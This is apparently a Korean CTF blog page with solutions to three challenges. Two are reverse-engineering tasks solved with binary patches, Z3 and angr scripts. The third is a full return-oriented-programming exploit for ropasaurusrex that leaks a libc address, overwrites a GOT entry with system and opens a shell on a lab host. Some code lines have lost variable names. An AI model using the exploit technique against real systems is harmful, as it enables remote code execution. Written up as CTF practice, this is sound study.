모든 CTF의 payload와 solve solution은 여기에 있습니다.

'CTF' 카테고리의 다른 글

CTF  (0) 2018.03.09
[Codegate 2017 예선] angrybird  (0) 2017.04.24
[DEFCON 2016] BABY-RE  (0) 2017.04.24
[pctf 2013] ropasuruarex  (0) 2016.11.23

그래프 뷰가 굉장히 깁니다.

이걸 만드신분 대단합니다..

일단 angr를 쓰기 위해서 몇가지 패치를 해주어야 됩니다.


노랑색으로 보이는 저 값을 아래의 사진과 같이 1에서 21로 바꾸어주셔야 됩니다.


[dword_606060 = 1]


[dword_606060 = 21]


그리고 여기서 off_606038를 hello바꾸어 줘야되는데 angr 코드를 작성할 때 패치하도록 하겠습니다.


0x40071a부분에 mov eax, [esp+var_s0]를 mov eax, [esp]로 바꾸어주셔야 됩니다.


[mov eax, [esp]]

모든 패치를 마치면 이제 정상적으로 angr를 사용할 수 있습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
from angr import *
from simuvex import *
 
= Project('./angrybird')
init = p.factory.blank_state(addr = 0x4007da)
init.options.remove(o.LAZY_SOLVES)
init.memory.store(0x606038"hello")
 
pg = p.factory.path_group(init, threads = 8)
ex = pg.explore(find = 0x404fc1)
 
print ex.found[0].state.posix.dumps(1)
 


cs


flag is Im_so_cute&pretty_:)



'CTF' 카테고리의 다른 글

CTF  (0) 2018.03.09
[Codegate 2017 예선] angrybird  (0) 2017.04.24
[DEFCON 2016] BABY-RE  (0) 2017.04.24
[pctf 2013] ropasuruarex  (0) 2016.11.23

이 문제는 2가지의 푸는 방법이 있습니다.

첫번째로는 Anti-hexray를 patch해서 z3로 푸는 것과 두번째로는 angr라는 툴을 사용해서 flag를 찾는 것입니다.


1. Anti-hexray patch + Z3


v[0] ~ v[12]까지 총 13개의 값을 받습니다.


그 값을 이용해서 CheckSolution이라는 함수에서 입력값을 확인하는 것 같습니다.


CheckSolution함수를 Decompile하려고 하는순간 에러가 뜹니다.

IDA 매뉴얼을 보니 잘 뜨지 않는 오류라고 합니다.

아마 중간 중간 있는 디컴파일을 방해하는 쓰레기 코드 때문인 것 같습니다.


이랬던 코드를 Undefine해주시면 아래와 같은 사진처럼 됩니다.


이 코드를 다시 Define 시켜주면 아래의 사진처럼 쓰레기 코드는 byte형으로 바뀌어 디컴파일에 영향을 주지 않습니다.


디컴파일을 시켜주면 에러가 뜨지 않고 성공할 것입니다.


디컴파일러가 성공했습니다. Z3를 이용해서 값을 구할 수 있습니다.


코드를 작성합시다 ~


값이 존재하니 sat이고 값을 구해주네요.

이 값들을 순서대로 넣어주면 플래그를 구할 수 있습니다.


짠 !


2. angr

간단하게 구할 수 있습니다.

플래그가 바로 나옵니다.


1
2
3
4
5
6
7
8
9
10
import angr
 
def main():
    p = angr.Project('./baby-re', load_options={'auto_load_libs' : False})
    pg = p.factory.path_group(threads=4)
    pg.explore(find=0x40294b, avoid=0x402941)
    return pg.found[0].state.posix.dumps(1)
 
if __name__ == '__main__' :
    print(repr(main()))
cs


'CTF' 카테고리의 다른 글

CTF  (0) 2018.03.09
[Codegate 2017 예선] angrybird  (0) 2017.04.24
[DEFCON 2016] BABY-RE  (0) 2017.04.24
[pctf 2013] ropasuruarex  (0) 2016.11.23

취약점은 간단합니다.

누가 봐도 많이 받아요.


Exploit Code


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from hanel import *
 
HOST = "192.168.111.132"
PORT = 9999
 
= remote(HOST, PORT)
 
read = 0x0804832c
read_got = 0x0804961c
write = 0x0804830c
write_got = 0x08049614
offset = 0x9aa40
pppr = 0x080484b6
bss = 0x08049628
 
payload = ""
payload += "A" * (0x88 + 4)
payload += p32(read)
payload += p32(pppr)
payload += p32(stdin)
payload += p32(bss)
payload += p32(0x08)
payload += p32(write)
 
payload += p32(pppr)
payload += p32(stdout)
payload += p32(read_got)
payload += p32(0x04)
 
payload += p32(read)
payload += p32(pppr)
payload += p32(stdin)
payload += p32(read_got)
payload += p32(0x04)
 
payload += p32(read)
payload += p32(0x11111111)
payload += p32(bss)
 
r.send(payload + "\n")
r.send(binsh)
 
read = up32(r.recv(4))
system = p32(read - offset)
r.send(system)
 
r.interactive()
cs


'CTF' 카테고리의 다른 글

CTF  (0) 2018.03.09
[Codegate 2017 예선] angrybird  (0) 2017.04.24
[DEFCON 2016] BABY-RE  (0) 2017.04.24
[pctf 2013] ropasuruarex  (0) 2016.11.23

+ Recent posts